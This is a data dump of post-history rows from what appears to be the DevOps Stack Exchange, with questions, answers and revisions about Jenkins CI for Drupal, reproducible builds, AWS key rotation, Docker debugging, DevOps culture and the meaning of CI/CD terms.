  <row Id="1501" PostHistoryTypeId="3" PostId="479" RevisionGUID="d64e598d-81c4-4538-84f1-f51daee110ec" CreationDate="2017-03-11T11:45:10.697" UserId="143" Text="&lt;ansible&gt;&lt;configuration&gt;&lt;provisioning&gt;&lt;databases&gt;&lt;variables&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1503" PostHistoryTypeId="2" PostId="480" RevisionGUID="afecc159-29fe-4e41-a34a-b4d4c769e512" CreationDate="2017-03-11T14:12:03.547" UserId="40" Text="Assume you want to implement CI for building and maintaining websites using [Drupal](https://www.drupal.org/project/drupal) (let's assume Version 7). Often times Jenkins seems to be recommended as one of the most appropriate solutions for doing so.&#xD;&#xA;&#xD;&#xA;But what kind of CI related functionality can I actually use it for? Here are some of things I'm thinking of, but I'm not sure if I'm correct on that, and/or if these are the only things:&#xD;&#xA;&#xD;&#xA;- Migrating custom module development between dev / staging / QA environments.&#xD;&#xA;- Automated testing." ContentLicense="CC BY-SA 3.0" />
  <row Id="1504" PostHistoryTypeId="1" PostId="480" RevisionGUID="afecc159-29fe-4e41-a34a-b4d4c769e512" CreationDate="2017-03-11T14:12:03.547" UserId="40" Text="How can Jenkins help me to implement CI for Drupal?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1505" PostHistoryTypeId="3" PostId="480" RevisionGUID="afecc159-29fe-4e41-a34a-b4d4c769e512" CreationDate="2017-03-11T14:12:03.547" UserId="40" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;drupal&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1506" PostHistoryTypeId="2" PostId="481" RevisionGUID="ea77593f-8a41-4ce5-a0c3-37fed56533cb" CreationDate="2017-03-11T14:19:28.420" UserId="47" Text="Technically mentioning DevOps *might* be wrong (the question you referenced is also subject to opinions). &#xD;&#xA;&#xD;&#xA;But it can also be seen as clarifying/disambiguating - the term is widely used presently on the job market, not only according to your salary reference but also from the job ads themselves - see http://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer.&#xD;&#xA;&#xD;&#xA;You'd only speak the recruiters' language - which is IMHO more important from the communication prospective than potentially being technically correct.&#xD;&#xA;&#xD;&#xA;Language and culture are fluid - something wrong may become de-facto correct and vice-versa." ContentLicense="CC BY-SA 3.0" />
  <row Id="1507" PostHistoryTypeId="2" PostId="482" RevisionGUID="9988b087-30a5-4a45-912b-c8b2d6062e24" CreationDate="2017-03-11T14:56:43.097" UserId="46" Text="What exactly are they?  Why are they important, in the domain of Continuous Delivery?&#xD;&#xA;&#xD;&#xA;And why are they so difficult to create?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1508" PostHistoryTypeId="1" PostId="482" RevisionGUID="9988b087-30a5-4a45-912b-c8b2d6062e24" CreationDate="2017-03-11T14:56:43.097" UserId="46" Text="What exactly are &quot;Truly reproducible builds&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1509" PostHistoryTypeId="3" PostId="482" RevisionGUID="9988b087-30a5-4a45-912b-c8b2d6062e24" CreationDate="2017-03-11T14:56:43.097" UserId="46" Text="&lt;continuous-delivery&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1510" PostHistoryTypeId="5" PostId="224" RevisionGUID="a8d49d63-1700-492a-91df-8448a613d5c8" CreationDate="2017-03-11T14:59:07.770" UserId="46" Comment="edited body" Text="The AWS documentation is clear that automated key rotation is only supported by Amazon on a yearly basis. However, you can use the CLI to manually create new keys, and then use an automation technique such as cron to automate the manual process.&#xD;&#xA;&#xD;&#xA;In this case you can likely have [cron][1] run a bash script to read from a list of keys and credentials and then use the [AWS kms cli][2] to &quot;manually&quot; change your keys.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unixgeeks.org/security/newbie/unix/cron-1.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/kms/create-key.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1511" PostHistoryTypeId="10" PostId="478" RevisionGUID="edef431d-6a79-46c9-99f7-3697ef9bd3d5" CreationDate="2017-03-11T15:01:45.130" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;}]}" />
  <row Id="1512" PostHistoryTypeId="5" PostId="482" RevisionGUID="555c5e84-7f7d-4a05-bb37-3843c96fef07" CreationDate="2017-03-11T15:53:25.663" UserId="46" Comment="added 164 characters in body" Text="What exactly are they?  Why are they important, in the domain of Continuous Delivery?&#xD;&#xA;&#xD;&#xA;Context: I have seen in one of (I guess reddit)'s comments that Truly Reproducible builds are still an under-research technology, and is very difficult to pull off.&#xD;&#xA;&#xD;&#xA;So, I wanted to know why are they so difficult to create?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1513" PostHistoryTypeId="2" PostId="483" RevisionGUID="c0dcea8f-5f15-4010-9a23-ac275e988b77" CreationDate="2017-03-11T16:02:02.377" UserId="40" Text="### What exactly are they?&#xD;&#xA;&#xD;&#xA;Here is a quite from [reproducible-builds.org][1]:&#xD;&#xA;&#xD;&#xA;&gt; Reproducible builds are a set of software development practices that create a verifiable path from human readable source code to the binary code used by computers.&#xD;&#xA;&#xD;&#xA;### Why are they important?&#xD;&#xA;&#xD;&#xA;IMO the easiest way to explain their importance is to consider them as a variation of a backup procedure.&#xD;&#xA;&#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;- Assume a business which uses (depends) on some software package licensed from some software vendor. Whereas the business only gets the executables, not the sources, etc that were used to create those executables.&#xD;&#xA;&#xD;&#xA;- Everything goes well, but at some point something goes wrong with the software vendor, e.g. they go out of business (eg bankrupcy).&#xD;&#xA;&#xD;&#xA;- This may expose a risk to the business (in the long run). I.e. if there is no procedure/agreement in place for the business to get (legal) access to all required sources, docu, build procedures, etc related to anything from the software vendor used (back in the days) when the executables (used by the business) were created (and shipped to the business).&#xD;&#xA;&#xD;&#xA;- That's were &quot;*Software Escrow*&quot; comes to the resque: if there is such agreement in place, one would think that via a 3rd party, it would still be possible for the business to get access to &quot;*whatever was used*&quot; to be able to reproduce the executables, so that from there on, the business might have a chance to continue to use that software, and where apropriate start maintaining it themselves (for only running their own business).&#xD;&#xA;&#xD;&#xA;- However, the &quot;*whatever was used*&quot; in the previous bullet is the toughest part to make this work. It requires that the 3rd party performs appropriate validations upfront. And trust me, it takes a while before you can recreate an executable for which you can proof that, apart from (eg) the link date, it is a perfect match with what the software vendor delivers to the software agent.&#xD;&#xA;&#xD;&#xA;### And why are they so difficult to create?&#xD;&#xA;&#xD;&#xA;If the above sample is still not clear enough, imagine you're my software escrow agent, tell me what you need as input to recreate a copy of the software licensed by my customer. Get it? You didn't forget to check about which version of my compiler, maybe my OS, compile/link options, versions of reusable components (includes), libraries, etc?&#xD;&#xA;&#xD;&#xA;  [1]: https://reproducible-builds.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1514" PostHistoryTypeId="5" PostId="482" RevisionGUID="fc244196-efa3-4115-a9a6-82c95668e254" CreationDate="2017-03-11T16:27:18.010" UserId="46" Comment="deleted 2 characters in body" Text="What exactly are they?  Why are they important, in the domain of Continuous Delivery?&#xD;&#xA;&#xD;&#xA;Context: I have seen in one of (I guess reddit)'s comments that Truly Reproducible builds are still an under-research technology, and is very difficult to create.&#xD;&#xA;&#xD;&#xA;So, I wanted to know why are they so difficult to create?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1515" PostHistoryTypeId="5" PostId="442" RevisionGUID="ac0715d4-afb2-4986-8044-d4f18cd5e8d0" CreationDate="2017-03-11T16:46:04.713" UserId="491" Comment="added 388 characters in body" Text="As far as I am aware, `commit` and `run` are the best options here to give you full access to the container as it was when it died.&#xA;&#xA;Ideally, your container would spit out some more useful information when it fails, but that is another topic altogether.&#xA;&#xA;Edit: to expand my answer, if the container is dying right on start, you can also use `docker run` to specify an alternative `--entrypoint` and `CMD`. Generally I'll set this to a loop or something that won't exit on its own. Once you're in the container, you can manually run the steps that are failing, and then inspect the outcome without having to worry about the container exiting." ContentLicense="CC BY-SA 3.0" />
  <row Id="1516" PostHistoryTypeId="2" PostId="484" RevisionGUID="d344972f-4281-4d85-ba4d-654a4fbac3ff" CreationDate="2017-03-11T17:08:34.447" UserId="36" Text="How can I persuade developers on my team to embrace &quot;You build it, you run it&quot;? By that, I have [this quote from Werner Vogels][1] in mind:&#xD;&#xA;&#xD;&#xA;&gt; Giving developers operational responsibilities has greatly enhanced&#xD;&#xA;&gt; the quality of the services, both from a customer and a technology&#xD;&#xA;&gt; point of view. The traditional model is that you take your software to&#xD;&#xA;&gt; the wall that separates development and operations, and throw it over&#xD;&#xA;&gt; and then forget about it. Not at Amazon. You build it, you run it.&#xD;&#xA;&gt; This brings developers into contact with the day-to-day operation of&#xD;&#xA;&gt; their software. It also brings them into day-to-day contact with the&#xD;&#xA;&gt; customer. This customer feedback loop is essential for improving the&#xD;&#xA;&gt; quality of the service.&#xD;&#xA;&#xD;&#xA;I'm specifically thinking of a set of developers that:&#xD;&#xA;&#xD;&#xA;* Were hired into a developer role, with little/no mention of ops-related tasks.&#xD;&#xA;* Traditionally have &quot;thrown code over the wall&quot; to an ops team.&#xD;&#xA;* Traditionally have a 9-5 work schedule, and are actively hostile to the idea of &quot;pager duty&quot;, participating in disaster recovery, writing post-mortems, etc, *especially* outside of normal business hours.&#xD;&#xA;* Are not currently responsible for writing/supporting monitoring or alerting on their applications.&#xD;&#xA;&#xD;&#xA;Our team is rapidly developing new cloud micro-services and our profile is getting to be such that handing these services off to an ops team is sub-optimal because they can't keep up in regards to gaining deep knowledge of the services that is required to effectively manage and monitor them.  &quot;You build it, you run it&quot; would work better for our team because we could delegate these tasks to each responsible team member. &#xD;&#xA;&#xD;&#xA;That said, this would be a major culture shift and thus-far has been poorly received.  I am specifically interested in how this been successfully implemented in other workplaces, and if there any canonical steps to follow while implementing this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://queue.acm.org/detail.cfm?id=1142065" ContentLicense="CC BY-SA 3.0" />
  <row Id="1517" PostHistoryTypeId="1" PostId="484" RevisionGUID="d344972f-4281-4d85-ba4d-654a4fbac3ff" CreationDate="2017-03-11T17:08:34.447" UserId="36" Text="How can I persuade developers on my team to embrace &quot;You build it, you run it&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1518" PostHistoryTypeId="3" PostId="484" RevisionGUID="d344972f-4281-4d85-ba4d-654a4fbac3ff" CreationDate="2017-03-11T17:08:34.447" UserId="36" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1519" PostHistoryTypeId="6" PostId="482" RevisionGUID="79b3502c-c929-4442-b825-29cb3109befb" CreationDate="2017-03-11T17:18:50.193" UserId="47" Comment="added relevant tag" Text="&lt;terminology&gt;&lt;continuous-delivery&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1520" PostHistoryTypeId="2" PostId="485" RevisionGUID="f12a4d0f-ea5a-4a1a-a952-5b33db81c23d" CreationDate="2017-03-11T17:42:03.270" UserId="383" Text="What you've listed is actually two different things, continuous delivery and continuous integration.  When people talk about CI they typically are only referring to the testing part; automated unit, function, and integration testing with some sort of version bump or code promotion at the end.  Looks like the [Jenkins wiki][1] has some specific pointers about Drupal.&#xD;&#xA;&#xD;&#xA;As far as environment promotion, you're getting into continuous delivery which Jenkins can also be used for.  Consider looking at the more modern [Jenkins Pipelines][2] for CD pipelines.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Drupal+Development&#xD;&#xA;  [2]: https://jenkins.io/solutions/pipeline/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1521" PostHistoryTypeId="2" PostId="486" RevisionGUID="6c9ef331-a9bd-48bc-bd7d-2e46f20a7d95" CreationDate="2017-03-11T18:28:02.533" UserId="47" Text="IMHO `You build it, you run it` should not be taken literally. To begin - it almost sounds like a punishment ;)&#xD;&#xA;&#xD;&#xA;No single person or even small developer team can *reasonably* support a tool or a toolset used in the software development process (i.e. in production!) for long periods of time. Been there, done that :) &#xD;&#xA;&#xD;&#xA;Support duties tend to expand as the tool(set) customer base grows. If assuming those duties exclusively, the development team could end up doing mostly support, with little/no time left for development down the road. Effectively a dead-end - how many developers would want to stick around in such environment?&#xD;&#xA;&#xD;&#xA;Having a professional 1st line of support team is crucial to prevent frustration, stress and other effects of long-term exposure to support duties over your developer team members. &#xD;&#xA;&#xD;&#xA;The 1st line support team would, of course, fallback to the developer team (again, team, not single-person!) for issues they cannot cover directly. Yes, it may be difficult at first, but thing will get better. It should be a collaboration - that's part of what DevOps is about.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1522" PostHistoryTypeId="5" PostId="484" RevisionGUID="2e2aa928-803d-4b4f-b168-0540dd7e3efb" CreationDate="2017-03-11T18:46:12.460" UserId="36" Comment="added 85 characters in body" Text="How can I persuade developers on my team to embrace &quot;You build it, you run it&quot;? By that, I have [this quote from Werner Vogels][1] in mind:&#xD;&#xA;&#xD;&#xA;&gt; Giving developers operational responsibilities has greatly enhanced&#xD;&#xA;&gt; the quality of the services, both from a customer and a technology&#xD;&#xA;&gt; point of view. The traditional model is that you take your software to&#xD;&#xA;&gt; the wall that separates development and operations, and throw it over&#xD;&#xA;&gt; and then forget about it. Not at Amazon. You build it, you run it.&#xD;&#xA;&gt; This brings developers into contact with the day-to-day operation of&#xD;&#xA;&gt; their software. It also brings them into day-to-day contact with the&#xD;&#xA;&gt; customer. This customer feedback loop is essential for improving the&#xD;&#xA;&gt; quality of the service.&#xD;&#xA;&#xD;&#xA;I'm specifically thinking of a set of developers that:&#xD;&#xA;&#xD;&#xA;* Were hired into a developer role, with little/no mention of ops-related tasks.&#xD;&#xA;* Traditionally have &quot;thrown code over the wall&quot; to an ops team.&#xD;&#xA;* Traditionally have a 9-5 work schedule, and are actively hostile to the idea of &quot;pager duty&quot;, participating in disaster recovery, writing post-mortems, etc, *especially* outside of normal business hours.&#xD;&#xA;* Are not currently responsible for writing/supporting monitoring or alerting on their applications.&#xD;&#xA;&#xD;&#xA;Our team is rapidly developing new cloud micro-services and our profile is getting to be such that handing these services off to an ops team is sub-optimal because they can't keep up in regards to gaining deep knowledge of the services that is required to effectively manage and monitor them.  &quot;You build it, you run it&quot; would work better for our team because we could delegate these tasks to each responsible team member. &#xD;So developers would take part in designing infrastructure, monitoring, alerting, etc.&#xA;&#xD;&#xA;That said, this would be a major culture shift and thus-far has been poorly received.  I am specifically interested in how this been successfully implemented in other workplaces, and if there any canonical steps to follow while implementing this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://queue.acm.org/detail.cfm?id=1142065" ContentLicense="CC BY-SA 3.0" />
  <row Id="1523" PostHistoryTypeId="2" PostId="487" RevisionGUID="6baed411-b8dd-4ced-97bf-1a883b4c69bf" CreationDate="2017-03-11T19:05:53.147" UserId="40" Text="My take on this (if I was faced with such commandement, or whatever you'd call it), would be something like &quot;***`What else would you expect?!?!`***&quot;. Because, accidently:&#xD;&#xA;&#xD;&#xA;- I wouldn't even be able to live without it, and&#xD;&#xA;- I love to eat my own (dog)food.&#xD;&#xA;&#xD;&#xA;Let me explain a bit further ...&#xD;&#xA;&#xD;&#xA;My business / hobby / passion is [tag:scm], more specifically in [tag:mainframe] environments. And wherever I go (to finetune stuff to fit the customers needs), the very first requirement the ***I impose*** (in my contract), is that any tuning done to the system we implement, is via that very same system. And by doing so (true, that takes like a few hours, say half a day at max), we get these benefits from it (incomplete list):&#xD;&#xA;&#xD;&#xA;- I hardly document anything I did to get the system going. If any questions are asked, I just query the system (and teach the customer how to query the system without my help).&#xD;&#xA;- If I get called in in X months/years (to upgrade to a new release?), I want to know (remember) what &quot;I&quot; have been doing before (and the only thing I trust is what the system tells me, aka reminds me about).&#xD;&#xA;- I only need to ask the customer once about how to do specific things in their site (naming conventions are hard to remember), or to convince them to grant required permissions to &quot;the system&quot; (not to me ...).&#xD;&#xA;- ... and if you'd want I can add another dozen of reasons ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="1524" PostHistoryTypeId="5" PostId="487" RevisionGUID="800f5d63-decb-43d5-9ffc-23f6be46a850" CreationDate="2017-03-11T19:16:40.657" UserId="40" Comment="added 767 characters in body" Text="My take on this (if I was faced with such commandement, or whatever you'd call it), would be something like &quot;***`What else would you expect?!?!`***&quot;. Because, accidently:&#xD;&#xA;&#xD;&#xA;- I wouldn't even be able to live without it, and&#xD;&#xA;- I love to eat my own (dog)food.&#xD;&#xA;&#xD;&#xA;Let me explain a bit further ...&#xD;&#xA;&#xD;&#xA;My business / hobby / passion is [tag:scm], more specifically in [tag:mainframe] environments. And wherever I go (to finetune stuff to fit the customers needs), the very first requirement the ***I impose*** (in my contract), is that any tuning done to the system we implement, is via that very same system. And by doing so (true, that takes like a few hours, say half a day at max), we get these benefits from it (incomplete list):&#xD;&#xA;&#xD;&#xA;- I hardly document anything I did to get the system going. If any questions are asked, I just query the system (and teach the customer how to query the system without my help).&#xD;&#xA;- If I get called in in X months/years (to upgrade to a new release?), I want to know (remember) what &quot;I&quot; have been doing before (and the only thing I trust is what the system tells me, aka reminds me about).&#xD;&#xA;- I only need to ask the customer once about how to do specific things in their site (naming conventions are hard to remember), or to convince them to grant required permissions to &quot;the system&quot; (not to me ...).&#xD;&#xA;- ... and if you'd want I can add another dozen of reasons ...&#xD;&#xA;&#xD;&#xA;However, before you try this at home yourself, be aware of some pitfalls to avoid:&#xD;&#xA;&#xD;&#xA;- you want *everybody* to join the party (use the system), because only 1 &quot;exception&quot; (aka the manager/owner of the company?) may ruin the party (you'd think you can trust your system, but then somebody did something without asking/using the system). Those case may cost you days to discover ...&#xD;&#xA;- make sure you do know your own system, and how to configure it to fit your needs. As a sample (in my case): you want to configure the system so that you use the operational environment to deliver to your experimental environment, and not the other way around ... I've seen that happening in the past ... using (abusing) the test system to deliver to highly secured environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="1525" PostHistoryTypeId="5" PostId="487" RevisionGUID="26cf548e-85c4-45f7-9055-0a2db217c7ae" CreationDate="2017-03-11T19:25:01.180" UserId="40" Comment="added 767 characters in body" Text="My take on this (if I was faced with such commandement, or whatever you'd call it), would be something like &quot;***`What else would you expect?!?!`***&quot;. Because, accidently:&#xD;&#xA;&#xD;&#xA;- I wouldn't even be able to live without it, and&#xD;&#xA;- I love to eat my own (dog)food.&#xD;&#xA;&#xD;&#xA;Let me explain a bit further ...&#xD;&#xA;&#xD;&#xA;My business / hobby / passion is [tag:scm], more specifically in [tag:mainframe] environments. And wherever I go (to finetune stuff to fit the customers needs), the very first requirement the ***I impose*** (in my contract), is that any tuning done to the system we implement, is via that very same system. And by doing so (true, that takes like a few hours, say half a day at max), we get these benefits from it (incomplete list):&#xD;&#xA;&#xD;&#xA;- I hardly document anything I did to get the system going. If any questions are asked, I just query the system (and teach the customer how to query the system without my help).&#xD;&#xA;- If I get called in in X months/years (to upgrade to a new release?), I want to know (remember) what &quot;I&quot; have been doing before (and the only thing I trust is what the system tells me, aka reminds me about).&#xD;&#xA;- I only need to ask the customer once about how to do specific things in their site (naming conventions are hard to remember), or to convince them to grant required permissions to &quot;the system&quot; (not to me ...).&#xD;&#xA;- You're ***`continuously`*** QA-testing your own system ... in production. Chances are that you'll experience bugs, logical errors or missing features (and what not) yourself. And those are extremely motivating to get them addressed ASAP ... eg to become more productive.&#xD;&#xA;- ... and if you'd want I can add another dozen of reasons ...&#xD;&#xA;&#xD;&#xA;However, before you try this at home yourself, be aware of some pitfalls to avoid:&#xD;&#xA;&#xD;&#xA;- you want *everybody* to join the party (use the system), because only 1 &quot;exception&quot; (aka the manager/owner of the company?) may ruin the party (you'd think you can trust your system, but then somebody did something without asking/using the system). Those case may cost you days to discover ...&#xD;&#xA;- make sure you do know your own system, and how to configure it to fit your needs. As a sample (in my case): you want to configure the system so that you use the operational environment to deliver to your experimental environment, and not the other way around ... I've seen that happening in the past ... using (abusing) the test system to deliver to highly secured environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="1526" PostHistoryTypeId="5" PostId="487" RevisionGUID="509dfbfe-5873-498e-9549-76c5df5396dc" CreationDate="2017-03-11T19:33:47.007" UserId="40" Comment="added 767 characters in body" Text="My take on this (if I was faced with such commandement, or whatever you'd call it), would be something like &quot;***`What else would you expect?!?!`***&quot;. Because, accidently:&#xD;&#xA;&#xD;&#xA;- I wouldn't even be able to live without it, and&#xD;&#xA;- I love to eat my own (dog)food.&#xD;&#xA;&#xD;&#xA;Let me explain a bit further ...&#xD;&#xA;&#xD;&#xA;My business / hobby / passion is [tag:scm], more specifically in [tag:mainframe] environments. And wherever I go (to finetune stuff to fit the customers needs), the very first requirement the ***I impose*** (in my contract), is that any tuning done to the system we implement, is via that very same system. And by doing so (true, that takes like a few hours, say half a day at max), we get these benefits from it (incomplete list):&#xD;&#xA;&#xD;&#xA;- I hardly document anything I did to get the system going. If any questions are asked, I just query the system (and teach the customer how to query the system without my help).&#xD;&#xA;- If I get called in in X months/years (to upgrade to a new release?), I want to know (remember) what &quot;I&quot; have been doing before (and the only thing I trust is what the system tells me, aka reminds me about).&#xD;&#xA;- I only need to ask the customer once about how to do specific things in their site (naming conventions are hard to remember), or to convince them to grant required permissions to &quot;the system&quot; (not to me ...).&#xD;&#xA;- You're ***`continuously`*** QA-testing your own system ... in production. Chances are that you'll experience bugs, logical errors or missing features (and what not) yourself. And those are extremely motivating to get them addressed ASAP ... eg to become more productive.&#xD;&#xA;- ... and if you'd want I can add another dozen of reasons ...&#xD;&#xA;&#xD;&#xA;However, before you try this at home yourself, be aware of some pitfalls to avoid:&#xD;&#xA;&#xD;&#xA;- you want *everybody* to join the party (use the system), because only 1 &quot;exception&quot; (aka the manager/owner of the company?) may ruin the party (you'd think you can trust your system, but then somebody did something without asking/using the system). Those case may cost you days to discover ...&#xD;&#xA;- new users might complain that by using this (new) system, it takes them way longer to get their job done (as compared to whatever they used before). And wherever it makes sense, they'll use that as an excuse why they are late to complete their job. At that point, you better have upper management covering you, because otherwise your project/system may get  the blame.&#xD;&#xA;- make sure you do know your own system, and how to configure it to fit your needs. As a sample (in my case): you want to configure the system so that you use the operational environment to deliver to your experimental environment, and not the other way around ... I've seen that happening in the past ... using (abusing) the test system to deliver to highly secured environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="1527" PostHistoryTypeId="2" PostId="488" RevisionGUID="96c9d112-cbc8-4d7a-9983-bd4678a8b3f9" CreationDate="2017-03-11T20:31:34.323" UserId="40" Text="Here is a quote from the current content of [tag:continuous-integration]:&#xD;&#xA;&#xD;&#xA;&gt; ... process of merging developer's working code copies to a shared codebase frequently to prevent or minimize integration problems.&#xD;&#xA;&#xD;&#xA;OK, I get that. But then there is also [tag:continuous-delivery] and  [tag:continuous-deployment], and that's where I *continuously* get a bit lost:&#xD;&#xA;&#xD;&#xA;- How does [tag:continuous-integration] relate to [tag:continuous-delivery] and/or [tag:continuous-deployment], assuming that somewhere along the line(s) via ***`integration`*** you end up ***`delivering`*** in a target environment where everything will be ***`deployed`***.&#xD;&#xA;- What's the difference between [tag:continuous-delivery] and  [tag:continuous-deployment]?&#xD;&#xA;&#xD;&#xA;Back in the days, before DevOps was called DevOps, we used terminology which might possibly help to understand these new DevOps terms, such as:&#xD;&#xA;&#xD;&#xA;- *promote* to (or *demote* from) some pre-prod target, optionally combined with some type of regeneration process (compiles, binds, etc) to package all related components together in executable-like things. That's what should be similar/close to [tag:continuous-integration], or not?&#xD;&#xA;- *distribute* to some target environment, using something like FTP (if standard copies cannot bridge the gap), but do not yet activate it in the target. That's what should be similar/close to [tag:continuous-delivery], or not?&#xD;&#xA;- *install* (or *activate*) in some target environment, combined with things like binds, stop/start operations, etc. That's what should be similar/close to [tag:continuous-deployment], or not?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1528" PostHistoryTypeId="1" PostId="488" RevisionGUID="96c9d112-cbc8-4d7a-9983-bd4678a8b3f9" CreationDate="2017-03-11T20:31:34.323" UserId="40" Text="How does continuous integration relate to continuous delivery / deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1529" PostHistoryTypeId="3" PostId="488" RevisionGUID="96c9d112-cbc8-4d7a-9983-bd4678a8b3f9" CreationDate="2017-03-11T20:31:34.323" UserId="40" Text="&lt;continuous-integration&gt;&lt;terminology&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1530" PostHistoryTypeId="5" PostId="488" RevisionGUID="aa6b6d40-842a-4e92-bf25-42c0eb2be933" CreationDate="2017-03-11T21:15:47.077" UserId="40" Comment="deleted 33 characters in body" Text="Here is a quote from the current content of [tag:continuous-integration]:&#xD;&#xA;&#xD;&#xA;&gt; ... process of merging developer's working code copies to a shared codebase frequently to prevent or minimize integration problems.&#xD;&#xA;&#xD;&#xA;OK, I get that. But then there is also [tag:continuous-delivery] and  [tag:continuous-deployment], and that's where I *continuously* get a bit lost:&#xD;&#xA;&#xD;&#xA;- How does _continuous integration_ relate to _continuous delivery_ and/or _continuous deployment_, assuming that somewhere along the line(s) via ***`integration`*** you end up ***`delivering`*** in a target environment where everything will be ***`deployed`***.&#xD;&#xA;- What's the difference between _continuous delivery_ and _continuous deployment_?&#xD;&#xA;&#xD;&#xA;Back in the days, before DevOps was called DevOps, we used terminology which might possibly help to understand these new DevOps terms, such as:&#xD;&#xA;&#xD;&#xA;- *promote* to (or *demote* from) some pre-prod target, optionally combined with some type of regeneration process (compiles, binds, etc) to package all related components together in executable-like things. That's what should be similar/close to _continuous integration_, or not?&#xD;&#xA;- *distribute* to some target environment, using something like FTP (if standard copies cannot bridge the gap), but do not yet activate it in the target. That's what should be similar/close to _continuous delivery_, or not?&#xD;&#xA;- *install* (or *activate*) in some target environment, combined with things like binds, stop/start operations, etc. That's what should be similar/close to _continuous deployment_, or not?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1531" PostHistoryTypeId="2" PostId="489" RevisionGUID="deae74cc-45f4-4174-9d8e-b924181cebea" CreationDate="2017-03-11T23:05:26.327" UserId="491" Text="Continuous delivery and continuous deployment (CD) are more or less the same thing. Every time a change is considered 'good to go' (tested/verified) it should be release immediately. You can do this as many times a day as there is work completed.&#xA;&#xA;Continuous integration (CI) only refers to merging code together often to ensure that feature branches don't veer too far away from your main 'master' branch, and also so that you know very quickly if there are any problems with the code from an integration perspective - i.e. Did you break any functionality while changing stuff.&#xA;&#xA;As far as how they relate to each other, CI helps greatly to verify code so that it can be released quickly (CD). You can still achieve CD without CI (and vice versa), but you will find that often it makes life much easier to integrate your code early and often to find problems quicker, which in turn will allow you to fix said problems quicker, and finally deliver your features quicker!&#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1532" PostHistoryTypeId="2" PostId="490" RevisionGUID="c2f03c41-0cb4-4fc0-9612-bb379ffaeff9" CreationDate="2017-03-11T23:58:25.663" UserId="47" Text="A certain version of a software product must first complete its integration stage before it can be delivered or deployed.&#xD;&#xA;&#xD;&#xA;For *continous* delivery/deployment *continuous* integration is a must. Otherwise, if the integration completed events are too far apart to qualify for the &quot;continuous&quot; attribute then so are the possible deliveries/deployments (only a subset of the integrated versions typically qualify for deliveries/deployment).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1533" PostHistoryTypeId="2" PostId="491" RevisionGUID="e118fcc0-50da-4aa0-9b91-10a5ffbd4bcd" CreationDate="2017-03-12T06:22:55.940" UserId="446" Text="I think the easiest way is to change their performance goals so they are based off reliability as well as delivering code. Sell it as the company cannot succed without both so why should the developers only be measured on one? The best way for them then to meet their performance goals is to be involved in operations.&#xA;&#xA;Ultimately you need to convince them this is the best way for the company succeed abd therefore for them to succeed. That's hard and you can't expect them to be onboard from the start. They need to be sold on the value too." ContentLicense="CC BY-SA 3.0" />
  <row Id="1534" PostHistoryTypeId="2" PostId="492" RevisionGUID="9fd36fd4-9f07-4404-93c3-43e5c833f1ec" CreationDate="2017-03-12T07:34:06.903" UserId="201" Text="When it comes to affecting business culture, the best way is probably via the well-known &quot;boil the frog&quot; method. You have to introduce these tasks to developers slowly, because I know I myself (as a dev) would balk at having all this new responsibility at once. &#xD;&#xA;&#xD;&#xA;First, start out by introducing one or two new tasks only to be performed during normal business hours. They need to learn how to do devops which could be quite the learning process for a (to this point) code-only dev and might require some supervision. They will also likely be hostile to the idea of changing their work-life balance since you mention they're used to 9-5. At this point, record data on the new processes for use later (have them write this code, data is always useful).&#xD;&#xA;&#xD;&#xA;Later as you're running out of new devops-y tasks to introduce (so the first, second, and fourth bullet points are almost complete), bring the first tasks you've introduced up as candidates to be performed outside of standard work hours. You may see some backlash at this and you might even see some attrition depending on how strongly you push this and how heavily the work-ends-at-five culture is ingrained. To defend against this, hopefully your data supports the idea that work beyond standard hours will be rare, only occur in extreme situations, and will greatly benefit both the business and the customer. If your data doesn't support this, then you'd better be ready to deal with the consequences of this choice.&#xD;&#xA;&#xD;&#xA;Even with data, it may still be easier to have the developers write the monitoring/alerting code (so they become *dev*ops but still mainly dev) and keep the alternate ops team as front-line support (as a few others have suggested). Like I said, small changes are important to avoid backlash. Integrating work for devs beyond standard hours will be challenging, as they may know they can look elsewhere for employment if they don't like it since the market for devs is strong right now, especially if they already had devops skills. 